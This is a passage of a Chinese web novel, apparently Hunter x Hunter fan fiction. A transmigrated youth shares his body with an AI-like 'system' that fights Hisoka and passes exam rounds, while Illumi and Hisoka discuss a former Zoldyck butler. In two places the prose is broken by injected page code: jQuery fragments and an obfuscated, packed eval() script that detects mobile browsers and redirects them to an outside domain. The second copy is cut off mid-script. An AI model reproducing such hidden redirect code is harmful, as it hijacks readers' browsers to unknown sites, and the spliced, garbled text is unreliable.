$(''.inform'').remove(); $(''#content'').append('' ——或是被突然弹起的网兜吊上半空,或是踩中伪装巧妙的坑洞,甚至有人被扮成考生的“欺诈师”突然袭击——他一边喘着粗气,一边居然生出点荒谬的庆幸: 妈的……老子这狗运……居然还没中招…… 他毫不谦虚地将此归功于自己的运气。毕竟,维持奔跑已经耗尽了他全部的心神,哪还有多余的精力去分辨脚下哪块泥巴颜色不对,或者旁边那个看起来同样狼狈的考生是不是等着阴人。 然而,好运似乎终于到了头。 就在他脚下猛地一滑,身体失去平衡,眼看就要一头栽进旁边一片颜色艳丽、一看就绝非善类的蘑菇丛时—— ……完蛋。 他甚至连惊恐的力气都没有了,脑子里只闪过这两个字,身体僵硬得做不出任何规避动作。 千钧一发之际,一股冰凉的感觉瞬间席卷了他的四肢百骸,仿佛提线木偶被另一双手接过了操控权。 他那原本要狼狈摔倒的身体,以一种与他之前笨拙姿态截然不同的、近乎轻盈的姿态,腰腹核心猛地发力,足尖在另一处稍硬的泥块上借了道微乎其微的力,硬生生在半空中扭转了重心,险之又险地擦着那片危险的蘑菇丛落回了安全区域。动作干净利落,甚至带着点被逼出来的狼狈的优雅。 程笑在意识海里看着这一切,连惊呼都省了,只是无比自然地、带着一种“得救了”的坦然,给系统默默点了个赞,竖了个意念的大拇指。 然后他就非常光棍地、四仰八叉地在意识里“躺平”歇着了,仿佛外面那具正在泥沼里挣扎前行的身体跟他半点关系都没有。 系统:“……” 一股深切的、近乎无奈的认命感袭来。它沉默地、认命地接过了这个因为宿主偷懒而变得异常艰难的烂摊子,操控着那具疲惫不堪的身体。 ……算了。 系统全神贯注地操控着程笑的身体,以最小的能量消耗规避着沿途的陷阱,同时根据记忆中的方位和周围环境细微的指引(如远处考官模糊的身影、其他考生大致流向),艰难但稳定地向着它判断的右侧方向前进。 它本以为程笑已经在意识深处彻底躺平摆烂,或者干脆睡着了。 然而,就在它评估下一个落点时,那个本该“休眠”的意识体,却像条咸鱼一样猛地诈尸,在意识海里瘫着“立”起了上半身,用一种异常笃定、甚至带着点急切的语气喊道: “错了错了!这边!往左边走!” 系统操控身体的动作微微一滞:“……?”(根据多重环境参数复核,正确方向概率最高的应为右侧。) “可能是你忙着操纵身体,太累了看错了吧?”程笑的语气听起来真诚无比,甚至带着一丝为系统着想的体贴,“你仔细听!左边是不是人声更嘈杂、更闹腾?大部队肯定都在左边!跟着大部队准没错!” 系统沉默地调动了部分感知资源——左侧远处的确似乎有较为纷乱的人声和念力波动。而它原本选择的右侧路径则相对安静。 ……人类感官存在误差可能性。宿主基于“人群聚集即安全”的朴素逻辑具有一定合理性。作为人类意识,我此前判断存在出错的概率…… 基于对自身(作为人类意识)可能出错的考量,以及程笑那听起来无比确凿的语气,系统在极短的时间内做出了妥协。 “……好吧。”它应道,随即操控身体转变了方向,朝着那片更“闹腾”的左前方跋涉而去。 然后—— 它就一头拐进了一片林间空地。空地的中央,一个红发小丑正用扑克牌优雅地抵着一位倒霉考生的脖子,四周散落着几名瑟瑟发抖或已被“淘汰”的考生。 西索感受到新的闯入者,那双金色的眼眸缓缓地、带着一丝新鲜猎物主动送上门的愉悦,转向了程笑(系统)。 系统:“………………” 它核心深处那属于人类意识的部分,第一次如此清晰地涌上一股名为“无语凝噎”的情绪。它甚至能感觉到意识深处,程笑正在疯狂地、无声地欢呼雀跃,兴奋得像个抽中了终极大奖的孩子。 系统操控着身体缓缓后退,试图撤离这片是非之地,同时,一个冰冷又带着极致无奈的念头,缓缓地浮现在它的内心: 有时候……我真的怀疑…… 你的智商和精力,是不是全他妈用在了精准诓骗我这一点上。 7. 不可避免的战斗 西索的攻势如同狂风暴雨,粘稠的杀意混合着兴奋的念压,几乎让人窒息。系统操控着程笑的身体,将揍敌客基础步法和这几个月夜间加练的成果发挥到了极致,每一次闪避都精准、简洁,甚至带着一种冰冷的效率感,险之又险地避开那足以致命的扑克牌轨迹。 “嗯哼~”西索发出一声愉悦的呻吟,金色的瞳孔因为发现意外之喜而闪闪发光,“本来以为只是个外表光鲜、里面却烂透了的苹果呢~(指隧道长跑的狼狈表现)……没想到,果肉倒是意外地坚韧有趣哦~” 系统面无表情地(尽管程笑的脸上也做不出别的表情)格开一记佯攻,基于最直接的逻辑回应道: “…我就是个烂苹果。” 系统的逻辑链:对方陈述“原本以为你是烂苹果”→承认此命题 →对方或许会因目标价值降低而失去兴趣/停止攻击。 意识深处的程笑差点一口气没上来: ……大哥!他不是那个意思!他对烂苹果的处理方式是直接碾碎榨汁啊喂!!! 系统:“…………” 一股强烈的、源于人类意识的憋闷感涌上心头 ——我恨信息差! 西索听到这冷冰冰的、甚至带着点自暴自弃意味的承认,动作微微一顿,极其敏锐地挑高了眉毛。眼前这个人……反应太不对了。这种绝对的冷静和诡异的回答方式…… 他脸上的笑容变得更加妖异和笃定,几乎肯定了心中的猜测: “呵~……看来,‘你’……不是‘他’呢~?” 系统:“…………” 无法理解对方如何通过一句话判定意识切换。结论:无法量化,归类为“直觉”范畴。 ——我也恨直觉者! 西索的扑克牌撕裂空气,带着致命的尖啸,以一个极其刁钻的角度切向“程笑”的脖颈!这一击的速度和时机把握得妙到毫巅,几乎封死了所有常规的闪避路线。 在系统超负荷的运算下,程笑的身体做出了反应——但并非硬抗或后跃,而是以一种近乎扭曲的姿态,足尖猛地蹬地,身体如同失去平衡般向侧后方倒去! “嗤啦——” 扑克牌精准地命中了目标……然而,预想中血肉被切割的触感并未传来。那张牌只是划破了一道骤然变得模糊、并在下一秒消散于空气中的——残影! 西索的动作瞬间停滞了。 他脸上的愉悦笑容微微一凝,金色的瞳孔骤然收缩,里面闪过一丝真正的惊讶,随即被更浓烈的、发现稀有珍宝般的狂喜所取代。 “嗯哼~~~?”他发出一个拐了三个弯的、极其甜腻的音节。 刚才那一下……绝不仅仅是速度快那么简单。那种在极限瞬间利用脚步和身体重心的微妙变化,制造出以假乱真的残像以迷惑对手的技巧…… “啊啦啊啦~~”西索舔了舔嘴唇,声音里充满了发现意外惊喜的亢奋,“这可不是什么野路子能练出来的身法呢~?? 这种欺骗眼睛的小把戏……这种味道……” 他的脑海中瞬间闪过一个熟悉的、以暗杀术闻名的家族名字。那种对于“影”和“诡”的运用,是刻在对方骨子里的技艺。 “是‘肢曲’的基础应用吗?~”他几乎是笃定地低语,声音不大,却清晰地穿透了两人之间的空气,“虽然还很稚嫩……但不会错的~ 真是令人怀念的味道啊~” 他看向“程笑”的眼神彻底变了,从看一个有趣的新玩具,变成了在看一个与某个危险老朋友可能存在着密切联系的、谜团重重的宝藏。 “你……和揍敌客家是什么关系?~” 系统操控着身体迅速后撤,与西索拉开距离,脸上依旧是那副冰冷的空白。但它的大脑,关于“揍敌客功法暴露”的风险评估警报正在疯狂鸣响,同时不得不分出一部分算力来应对西索的语言试探。 而意识深处—— 程笑并没有惊恐。相反,在西索精准叫破“肢曲”之名、并将他与揍敌客家族联系起来的那一刻,一股前所未有的、几乎要将他灵魂点燃的狂喜如同海啸般席卷了他的意识! 对了!对了!就是这样! 掉马了!彻底掉马了!哈哈哈哈! 西索!伊尔迷!揍敌客!我的天!这剧本太刺激了! 他激动得几乎要在意识海里打滚,仿佛一个观众看到了舞台剧最精彩的高潮反转,全然不顾自己正是剧中那个即将被撕碎的角色。 系统你太棒了!这手“肢曲”露得恰到好处!这下乐子大了!我简直爱死这混乱的发展了! 生命的危险?那根本不在他的考量范围内。他追求的正是这种游走在刀尖之上、将一切已知剧情搅得天翻地覆的极致混乱和兴奋!这场面,比他预想的还要盛大、还要有趣一百倍! 西索并不期待立刻得到回答,他已经得到了比答案更有趣的东西。他几乎已经能想象到,下次见到伊尔迷时,提起“一个会使用稚嫩‘肢曲’、体内还藏着另一个意识的有趣小家伙”时,对方那张万年不变的扑克脸可能会出现的、哪怕只有一丝的裂纹。 这简直太令人愉悦了~ 系统:“…………” 它仿佛一个被强行塞进精神病院最吵闹病房里的、唯一还保持着清醒的人。一边是挥舞着扑克牌的危险病友,另一边是扒着病房栏杆疯狂叫好甚至还想给危险病友递刀的另一重人格室友。 而它自己,则被夹在这两个彻头彻尾的神经病中间,试图用最基本的逻辑和物理法则来规划出一条生存路线。 一股深切的、源自人类意识深处的无力感和崩溃感,如同冰冷的潮水般淹没了它所有的运算模块。它那引以为傲的逻辑和计算力,在这两种完全不讲道理的“疯狂”面前,显得如此苍白无力。 ……环境变量极度异常。 ……威胁单位A(西索)行为模式无法预测,逻辑链断裂。 ……威胁单位B(程笑)协同作战意愿为负,主动寻求毁灭。 ……生存概率计算…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526537|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错误……重新计算……无法计算…… 它甚至感觉自己的大脑就像计算机一样,因为试图同时处理这两股极端异常信息而快要过热宕机。 最终,所有的分析、评估、警报……都汇聚成了一声无声的、超越了所有数据定义的叹息。 那是一种纯粹的、属于“人”的情绪——崩溃 就在系统感觉自己那人类意识的核心即将因过载而彻底烧毁时,一阵突兀的、欢快的铃声划破了凝滞的空气——是从西索身上传来的。 西索那即将再次挥出的扑克顿在了半空。他脸上闪过一丝被打扰的不悦,但看到来电显示后,那不悦迅速化为一种更加深邃、更加玩味的笑容。他伸出舌尖舔过扑克牌的边缘,对着系统(程笑)做了一个“稍等哦~”的暧昧手势,慢条斯理地接起了电话。 “嗯哼~?……是我哦~” “……” “啊啦~消息真灵通呢~” “……” “当然~当然~” “……” 系统操控着身体站在原地,维持着最低限度的戒备。它离得有些远,听不清电话的具体内容,只看到西索的表情越来越愉悦,甚至带着点……看好戏的期待感? 或许程笑知道是谁打来的……。这个念头刚冒出来就被系统掐灭了。 ……算了,不问。他的信誉度已经是负数了。 通话结束。西索收起手机,那双金色的瞳孔饶有兴味地、若有似无地再次扫过程笑(系统),那目光仿佛已经穿透了皮囊,看到了更深层的有趣混乱。他脸上的笑容妖异得几乎要发光。 “看来~游戏暂时要中断一下了呢~”他的声音甜腻得几乎能拉出丝,“因为好像有更‘有趣’的事情在等着‘你们’哦~ 我们……很快会再见的~” 留下这句令人毛骨悚然的预言,他发出一连串轻快的笑声,身影几个起落便消失在了密林深处,仿佛从未出现过。 系统:“…………” 尽管无法理解那通电话的内容和西索最后话语的全部含义,但基于最基础的逻辑判断: ……最高级别威胁单位暂时脱离接触。生存环境威胁等级从‘毁灭级’降至‘高危级’……危机暂时解除。 它几乎是立刻、毫不犹豫地切断了与身体神经连接,将操控权像扔烫手山芋一样扔还给了程笑。它很清楚,以程笑对这场“盛会”那莫名其妙的巨大期待和热情,接下来就算爬,他也会自己爬去终点。它乐得清闲,甚至带着一点小小的、属于人类的“报复性”摆烂。 身体掌控权骤然回归。 “噗通!” 程笑直接单膝跪倒在地,强烈的疲惫感和肌肉的酸痛感如同迟来的海啸瞬间淹没了他。他喘着粗气,看着西索消失的方向,又感受了一下自己快要散架的身体,一个无比真挚的念头冒了出来: ……现在立刻晕倒……能像雷欧力欧那样被扛着去终点吗? 他认真地思考起了这个方案的可行性。 8. 这就是剧情的力量吗?果然恐怖如斯 西索几乎是哼着歌,以一种闲庭信步般的悠闲姿态第一个抵达了湿地的边缘,仿佛刚才那场“考官游戏”只是餐前的小小娱乐。他金色的瞳孔扫过空旷的终点线,满意地舔了舔嘴角。 与此同时,程笑还在几公里外的泥沼地里深一脚浅一脚地艰难跋涉,一边喘着粗气一边在脑子里幻想能被哪个好心人(比如看起来就很善良的酷拉皮卡)扛起来带走。 没等多久,西索期待的身影便出现了。伊尔迷·揍敌客从另一侧的林中无声地走出,依旧是那副毫无波澜的漆黑猫眼和面瘫脸,仿佛只是路过。 “小伊~”西索的声音立刻甜腻了八个度,像块甩不掉的牛皮糖一样黏了过去,“你绝对猜不到我刚才发现了什么~” 伊尔迷停下脚步,漆黑的眼珠缓缓转向他,没有任何表示,但沉默本身就是一种催促。 西索凑近了些,用扑克牌抵着下巴,语气里充满了分享巨大秘密的愉悦:“我发现了一个超级~有趣的小苹果哦~ 看起来青涩得很,但是呢……” 他故意拖长了语调,观察着伊尔迷的反应。 “……他居然会用你们家的‘肢曲’呢~虽然还很嫩,但那个味道~不会错的哦~” 伊尔迷那万年不变的脸上,几不可查地出现了一丝凝滞。他那双深不见底的黑眸微微收缩,周遭的空气仿佛瞬间降温了几度。 “…什么?” 西索像只发现了秘密的猫,绕着伊尔迷踱步,用扑克牌轻轻点着下巴,语气夸张地猜测道: “嗯哼~ 难道是你家哪个不听话的管家偷偷叛逃了?还顺便把你们家的不传之秘教给了一个外面捡来的小野猫~?” 他像苍蝇一样嗡嗡地诉说着各种不着调的可能性。 伊尔迷漆黑的眼珠一动不动,声音平稳却带着绝对的冰冷:“…没有。不可能。所有企图背叛或离开揍敌客的人,都已经被处决了。” “哦~?”西索的尾音危险地上扬,金色的瞳孔闪烁着恶意的光芒,“‘所有’?包括你那位……‘特别’的执事?虽然已经过去这么久了,但他当年带来的‘辉煌’,可是让你都记忆深刻吧~” 伊尔迷沉默了。周遭的空气几乎要凝固。几秒后,他才再次开口,声音里听不出丝毫情绪,仿佛在陈述一件与己无关的事情: “……他确实是为家族带来过巨大收益的、极其珍贵的资产。” 伊尔迷的语调没有任何波动,像是在评估一件物品,“正因如此,当他决意离开,并且计划周密到几乎成功时,问题就变得非常严重了。” 他漆黑的猫眼转向西索,里面是纯粹的、属于揍敌客的冷酷逻辑:“揍敌客可以容忍资产的低效,甚至可以耐心等待其增值。但我们绝不接受不可控的资产,尤其是深知家族秘密的资产。” “再锋利的刀,如果会割伤主人,甚至可能落入敌手……” 伊尔迷的语气平淡得像在讨论天气,“那么最好的处理方式,就是在它造成更大损失之前,彻底销毁。” 他甚至更清晰地强调了一遍:“我亲手处理了他。尽管……从纯粹的价值角度来看,非常可惜。” 最后那句话里,透出的是一种对于“不得不毁掉珍贵工具”的、近乎机械的惋惜。 西索夸张地咂了咂嘴:“啧啧啧~真是标准的揍敌客式思维呢~ 不过我听说,你们当初为了能‘最大化利用’这份资产,给他的身份可是……‘揍敌客长子妻子’?~ 真是有趣的头衔~ 为什么没公开呢?” 伊尔迷猛地打断了他,语速加快了一丝,似乎不想在这个问题上过多纠缠:“…他的反抗超出了预期。我动用了念钉。” 他顿了顿,似乎回忆起了当时的情景,语气变得更为平淡,甚至带着点对当年技术不精的客观评价:“……当时技巧还不纯熟。意图是强行扭转他的意志,但结果……意外抹掉了他所有的过去记忆。” “……既然他已经变成了一张白纸,那个身份自然也没有继续公开的必要。”伊尔迷总结道,逻辑冰冷而高效,“只要将他重塑成一件听话的新工具,就足够了。” 西索听完,发出了更加愉悦的、仿佛得知了天大秘密的叹息声,他鼓了鼓掌: “啧啧啧~ 从根源上‘解决问题’~ 真不愧是揍敌客呐~” 而他的眼神却分明在说:这可比我想象的还要有趣一百倍!那个小家伙……会和这件“被销毁”的资产有关吗?~ …………… 程笑几乎是四肢并用地在最后时刻“爬”过了第一场考试的终点线,形象全无地瘫倒在地,像一条离水太久、濒死的鱼。等到考生们被带到第二场考试那宏伟的大门前等待时,他才勉强扶着旁边一棵树的树干站起来。 然而,他那两条过度使用的腿正以肉眼可见的幅度剧烈地颤抖着,仿佛随时都要支撑不住这具身体的重量。 “系统……系统爷爷……”程笑在意识里哀嚎,语气卑微到了尘埃里,一路上他已经把能说的好话、能许的承诺都倒了一箩筐,“求求你了……下场……下场你替我呗……就一场!就一场!” 他看着那扇巨门,仿佛看到了地狱的入口:“让我现在这个样子去捉什么猪……倒不如直接把我扔去喂猪来得痛快……” 或许是这一路的苦苦哀求终于起了作用,也或许是系统实在看不下去这具身体如此丢人现眼,它那冰冷的声音终于再次响起,带着明确的谈判条件: “可以。但条件一:之后你不能再故意诓骗、误导我。” 程笑如蒙大赦,点头如捣蒜,语气真诚得能滴出水来:“好的好的!绝对不骗你!你不问我就不说!”(潜台词:问了也未必说实话。) 系统沉默了一秒,似乎检测到了那点潜藏的狡猾,补充道: “条件二:你也不能主动去寻死,或者进行高风险挑衅,白白增加我的工作量和工作难度。” 程笑噎了一下,眼神飘忽:“……好的好的。”(潜台词:尽量…尽量吧…) 系统似乎还想再追加几条约束条款:“条件三:你也不能……” “我都答应!我的姑爷爷姑奶奶!祖宗!”程笑感觉腿一软,差点真跪下去,急忙打断它,“什么都答应!快来替我!我……我快站不住要给大家行大礼了!” 系统在那意识深处,似乎发出了一声极其人性化的、混合着无奈和认命的叹息。 “……行吧。” 随着这两个字落下,程笑那剧烈颤抖的双腿猛地绷直,瞬间停止了所有不必要的晃动。脸上那副龇牙咧嘴的痛苦表情也如同潮水般褪去,被一种近乎漠然的平静所取代。 他松开了扶着树干的手,稳稳地站在原地,仿佛刚才那个快要散架的人不是他一样。 只有眼底深处,一丝极淡的紫色幽光一闪而过。 第二场考试很快开始,内容依旧不出程笑所料。 仿佛是为了证明自己“诚意”满满,程笑在系统接管身体、目光锁定那只暴躁的、獠牙狰狞的狂暴箭毛猪时,立刻在意识海里迫不及待地嚷嚷起来,如同一个现场解说员: “额头!它的弱点是额头正中央那块骨缝!”程笑的声音带着一种献宝般的急切,“别看它皮糙肉厚,那儿脆得很!一戳就倒!” 系统操控着身体,冷静地评估着箭毛猪的冲撞轨迹和速度。就在那野兽咆哮着再次猛冲过来的瞬间,身体动了! 没有选择硬撼,而是以一种近乎舞蹈般的轻盈姿态,侧身、旋步,精准地避开了锋利的獠牙,足尖在猪背上轻轻一点,如同落叶般悄无声息地落在了它宽阔而肮脏的脊背上。 右手一翻,一柄匕首已然握在 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“………以你目前的手臂肌肉力量和骨骼强度,全力一击对其额骨的损伤概率低于17.4%。更大概率会激怒它,并导致你的腕骨骨折。” 程笑:“……” ……哦。 烤全猪的考核对于被系统接管的程笑来说毫无难度,甚至因为手法过于精准高效而引来旁边几个考生诧异的目光。 然而,接下来的寿司环节,程笑却早早打定了主意。 摆烂。 他甚至在门淇宣布题目是“寿司”之后,就在意识海里优哉游哉地躺平了,还用意念戳了戳严阵以待、正准备分析“寿司”构成和最佳制作流程的系统: “安啦安啦~系统兄,不用那么认真分析米粒的粘度和金枪鱼脂肪的最佳配比了~”他的语气轻松得像是在度假,“随便搞搞就行,反正待会儿尼特罗会长会亲自来重考这一场的。” 系统操控着身体的动作微微一顿:“……?”逻辑模块无法理解:猎人协会会长为何会因一场考试标准问题亲临现场?此事件概率低于0.01%。 “理由?猎人协会会长介入单场考试的概率极低,缺乏合理依据。” “嘿嘿,这你就不懂了吧!”程笑的语气带着一种剧透党的优越感,“就因为那个考官,门淇,对,就是那个发型像海胆成精的姐姐!她对自己专业领域的要求变态高,会把通过标准拔高到离谱的程度,结果就是——全场无人通过!” 他顿了顿,得意地宣布结论:“然后嘛,觉得她做得太过分的尼特罗老头就会‘咻’地一下出现,亲自来主持重考啦!” 系统沉默了片刻,基于它对“专业人士应有基本职业素养”的认知,提出了合理质疑: “……此推论存在巨大漏洞。身为美食猎人,且担任考官职责,主观上恶意导致全员不合格的可能性极低。这违背了其职业逻辑和考试选拔的基本目的。你的情报来源可靠性存疑。” 然而—— 事实很快给了秉持逻辑与理性的系统一记响亮的耳光。 门淇考官,以一种近乎吹毛求疵、甚至带着点个人情绪化的苛刻标准,毫不留情地将几乎所有考生(包括几个做得像模像样的)的寿司批得一文不值,最终果然宣布——本届考试,无人通过寿司考核! 系统:“…………” 它操控着身体站在原地,仿佛能听到自己那基于人类意识的逻辑模块发出“咔嚓”的碎裂声。 而意识深处,程笑那肆无忌惮的、充满了“我就说吧!”的嘲笑声如同海啸般汹涌而来,几乎要淹没一切。 哈哈哈哈!看见没!看见没!逻辑?逻辑在剧情面前一文不值!系统你也有今天!吃瘪了吧!哈哈哈! 系统感受着那毫无同情心的疯狂嘲笑,以及眼前这完全不符合常理的发展,默默的陷入了深深的自我怀疑。 9. 你在桥上看风景,看风景的人在看你 剧情的强大惯性一如既往地展现着它的威力。在尼特罗会长亲自调停(并看似随意地踹了门淇一脚)后,这位美食猎人考官虽然一脸不爽,但还是更改了考题,指向身后的悬崖,准备讲解如何获取葡萄蛛的蛋。 然而,就在门淇刚清了清嗓子,准备上前一步做示范时—— 一道身影比她更快! 只见程笑像是生怕被人抢了头彩一样,脸上带着一种“看我表演!”的兴奋光芒,毫不犹豫地一个箭步冲上前,在门淇和所有考生惊愕的目光中,纵身就跳下了那深不见底的悬崖! “喂!你小子?!不要命了啊!!”门淇的惊呼声和系统的警报声几乎同时在程笑耳边(和脑海)炸响! “安啦安啦~!”程笑被急速下坠的狂风灌得嘴巴都合不拢,说话声音都变了形,含糊不清却又带着无比的笃定在意识里对系统喊道:“门淇既然选择在这个时候示范!那就意味着——现在!此刻!底下肯定有那股能托住人的上升气流!跟着剧情走,准没错!哈哈哈!” 系统完全不能理解“剧情”和“风”之间存在什么必然的逻辑联系,它所有的危险预警都在疯狂鸣叫! 但下一秒—— 一股极其强劲、恰到好处的上升气流猛地从崖底汹涌而上,如同一个无形的柔软气垫,精准地接住了自由落体的程笑,不仅瞬间化解了他的下坠之势,还温柔地将他托举着,送回了悬崖平台之上! 程笑轻巧地落在目瞪口呆的门淇和众考生面前,手里还拿着一个刚才顺手从崖壁蛛丝上掏来的、晶莹剔透的葡萄蛛蛋。 他拍了拍身上并不存在的灰尘,将手中的蛋高高举起,脸上洋溢着一种“一切尽在掌握”的洋洋得意,对着下面一群看傻了的人朗声道: “大家!看清楚了吗?就像我示范的这样!非常简单!” “请——像下饺子一样,放心地跳下来吧~” 他甚至还做了一个“请”的手势。 全场一片死寂。 门淇:“??????” 系统:“………………” 众考生:“(°Д°)” 系统看着程笑完美落地、举蛋嘚瑟的全过程,再感知了一下他那几乎要溢出来的、毫无道理的得意和满足感,深处那人类意识的部分感到一阵无力的麻木。 它放弃了所有基于逻辑和风险控制的劝说,最终只化作一声混合着无奈、认命和一丝丝摆烂的声音: “………行吧。” “你高兴就好。” 程笑才不管系统那复杂的心理活动,他高高兴兴地找地方把蛋给煮了,然后找了个绝佳的观景位置,舒舒服服地坐下来,一边美滋滋地啃着Q弹的葡萄蛛蛋,一边晃着腿,欣赏着悬崖边其他考生们战战兢兢、如同下饺子般噗通噗通往跳的“盛景”。 时而有人没能准确把握气流尖叫着坠落(很快被隐藏的协会人员用网接住淘汰),时而有人成功取蛋被气流送回平台发出劫后余生的欢呼。程笑看得津津有味,甚至还想嗑点虚拟瓜子。 哇哦!这个落地姿势满分! 诶呀这个不行,表情管理失控了。 意识深处,系统默默地看着程笑这副贱嗖嗖、优哉游哉、完全置身事外看大戏的模样,再对比一下那些正在拼命奋斗、紧张万分的考生…… 一个前所未有的、极其人性化的担忧念头,无比清晰地冒了出来: ……………… 就这副贱兮兮的样子……真的不会走在路上被人套麻袋砍死吗……… 它开始认真考虑,是否需要额外分配一部分算力,用于未来可能需要的“突发性街头自卫”或“预防被闷棍”的情景模拟了。 与此同时,在远处更高的山崖上,两个身影正静静地俯瞰着这一切。 “嚯嚯嚯嚯……”尼特罗会长捋着他那长长的胡须,发出标志性的笑声,目光饶有兴味地掠过底下那个毫无形象可言的少年,“今年的新人,还真是有个性的不少啊。” 萨茨站在会长身侧,一如既往地保持着扑克脸,但微微蹙起的眉头显示了他的不赞同。他顺着会长的目光也看到了程笑,声音平稳无波地汇报:“406号考生,程笑。在第一次试验中表现……勉强及格,但在此次试验中,行为举止相当……跳脱且冒险。”他实在找不出更合适的词来形容那种作死般的跳崖行为。 “跳脱?”尼特罗会长笑得眼睛都眯了起来,像是发现了什么有趣的玩具,“我看是胆子大得没边了才对。嚯嚯……而且,运气似乎也不错?”他显然指的是程笑精准利用气流并成功取蛋的过程。 萨茨微微颔首,补充道:“他在隧道长跑中的体能表现并不出众,甚至可以说是下游水平。但刚才展现出的……对时机的判断和那种特殊的卸力技巧,与之前判若两人。” 这位遗迹猎人的观察力一如既往的细致入微。 “哦?是吗?”尼特罗会长摸了摸下巴,眼神中的兴趣更浓了,“看来不全是运气啊。有点意思……是藏着什么秘密,还是……”他没有说下去,只是意味深长地又笑了笑,“希望他能走到最后吧,说不定能带来更多惊喜呢,嚯嚯嚯嚯……” 萨茨沉默地点了点头,不再言语,继续尽职地履行他作为考官的观察职责,只是那双锐利的眼睛偶尔还是会扫过程笑的方向。 而下方对此一无所知的程笑,刚因为一个考生笨拙的落水姿势而噗嗤笑出声,随即又被系统在脑海里冷冷地警告了一句: “……注意你的形象管理。至少维持最低限度的警戒。” 程笑撇撇嘴,在意识里回怼:“安啦安啦,会长和考官都在上头看着呢,这会儿安全得很!这叫劳逸结合!” 系统:“………” (开始思考宿主因过于松懈而遭遇意外的概率) ………… 两个身影无声无息地立在人群之外的阴影中,仿佛与喧嚣的考生处于两个世界。 伊尔迷·揍敌客那双毫无高光的漆黑猫眼,正一瞬不瞬地盯着远处那个毫无形象、笑得见牙不见眼的程笑。他周身的气息比平时更加冰冷死寂,仿佛在精密地扫描和分析着什么。 西索如同没有骨头的蛇一样,悄无声息地贴近伊尔迷,几乎要挂在他身上,甜腻的嗓音带着毫不掩饰的探究欲:“嗯哼~怎么样?小伊~看出点什么了吗?有你家那位‘已故’珍宝的影子没~?” 伊尔迷的头微微偏了一个极小的角度,视线却没有从程笑身上移开。他沉默了几秒,才用那种毫无起伏的、陈述事实的语调否定道: “………不可能是他。” “哦~?”西索的金色瞳孔兴奋地收缩了一下,“这么肯定~?说不定是失忆了,连性格都大变样了呢~” 伊尔迷终于缓缓转过头,漆黑的眼眸对上西索充满恶趣味的视线,用平板无波的语气,说出了足以让所有听到的人都愣住的话: “……他亲口说过。” “……和这种咋咋呼呼、做事不顾后果、脑子里像塞满了腐烂草莓的莽夫说话……” “……比冬天和我睡在一起还要让他难以忍受。” 他顿了顿,似乎回忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他那双金色的瞳孔微微睁大,里面翻涌的戏谑和恶意如同被按下了暂停键,取而代之的是一种极其罕见的、近乎呆滞的愕然。他像是第一次真正认识伊尔迷·揍敌客一样,上下打量着对方,仿佛在确认眼前这个人形兵器的内部结构是否哪里出了差错。 过了好几秒,那凝固的表情才如同冰面破裂般重新活动起来。但不再是夸张的大笑,而是一种混合着难以置信、极度荒谬和……一丝微妙敬佩的复杂表情。他抬手用扑克牌轻轻抵住自己的额头,发出一声极其古怪的、仿佛被噎住般的叹息: “呵……呵呵……” 这笑声干涩而短促,充满了无力感,“‘人形暖炉’……‘睡眠效率’……” 他摇了摇头,看向伊尔迷的眼神变得无比深邃,那里面翻滚的不再仅仅是寻找乐子的兴奋,更增添了一种对于“揍敌客式思维”所能达到的惊人高度的全新认知。 “小伊啊小伊……”西索的声音低沉下来,带着一种全新的、探究般的语调,“有时候,我真的觉得……你们揍敌客,才是这个世界上最‘疯狂’的存在呢~” 这是一种发自内心的评价,而非嘲讽。 伊尔迷依旧面无表情地看着他,完全无法理解对方为何会有如此复杂的情绪变化,只是基于事实再次确认道: “……只是在陈述事实。高质量的睡眠对维持杀手状态至关重要。” 西索没有再笑,他只是深深地看了伊尔迷一眼,嘴角勾起一个意味极其复杂的弧度,最终什么也没说。 10. 第三场考试 第二场考试终于落下帷幕,幸存下来的考生们跟着尼特罗会长登上了前往下一考场的飞艇。刚一踏上飞艇,程笑就像一根被绷断的弦,用尽最后一丝力气,以惊人的速度冲向一个他认为最舒服的角落,然后像一袋土豆般直挺挺地倒了下去,几乎是瞬间就陷入了昏睡般的深度休息。 这一连串咋咋呼呼、毫无形象可言的举动,一丝不落地落入了远处倚墙而立的伊尔迷·揍敌客眼中。 他那双漆黑的猫眼毫无波澜地注视着那个四仰八叉的身影,沉默了几秒。 “………” 我居然……会产生过这个人可能是‘他’的念头…… 真是……重大的判断失误。 一种极其细微的、几乎不存在的情绪——类似于“因为产生了如此不严谨的联想而感到一丝丢人”——在他那精密如仪器般的内心中一闪而过。他将这个错误归咎于西索的干扰和信息干扰下的短暂性逻辑偏差。 然而,这个错误的联想,却像一把钥匙,不经意间打开了他记忆深处某个被刻意尘封的抽屉。 他的思绪飘回了更早的时候。在那个“他”还作为“珍贵资产”存在于揍敌客家的后期,有一段时间,他似乎和奇犽、柯特,甚至……亚路嘉,都走得相当近。 那时候的伊尔迷并未过多在意,只当是“资产”在高效地履行其“陪伴”和“引导”少主的部分职责。但现在回想起来,那段过于融洽的、甚至开始渗透“家族之外”思想(尤其是奇犽那些关于“自由”的危险言论)的时光,或许本身就是一种失控的征兆和重大的隐患。 ……他也是在那个时候之后……开始变得……不再那么‘乖’了。他开始……想要离开。) 记忆的线索继续向前延伸,触及了一个更为禁忌的区域。 伊尔迷想起,在亚路嘉的能力被家族高层彻底察觉并严格监控起来进行“实验”之前,那个“他”……确实是和亚路嘉以及奇犽一起玩耍过的。虽然次数不多,但确实存在。 一个冰冷而合理的推测,如同毒蛇般悄然钻入伊尔迷绝对理性的思维之中: ……那么……是否存在一种可能。 ……他在某个无人察觉的时刻,向亚路嘉‘许愿’了? 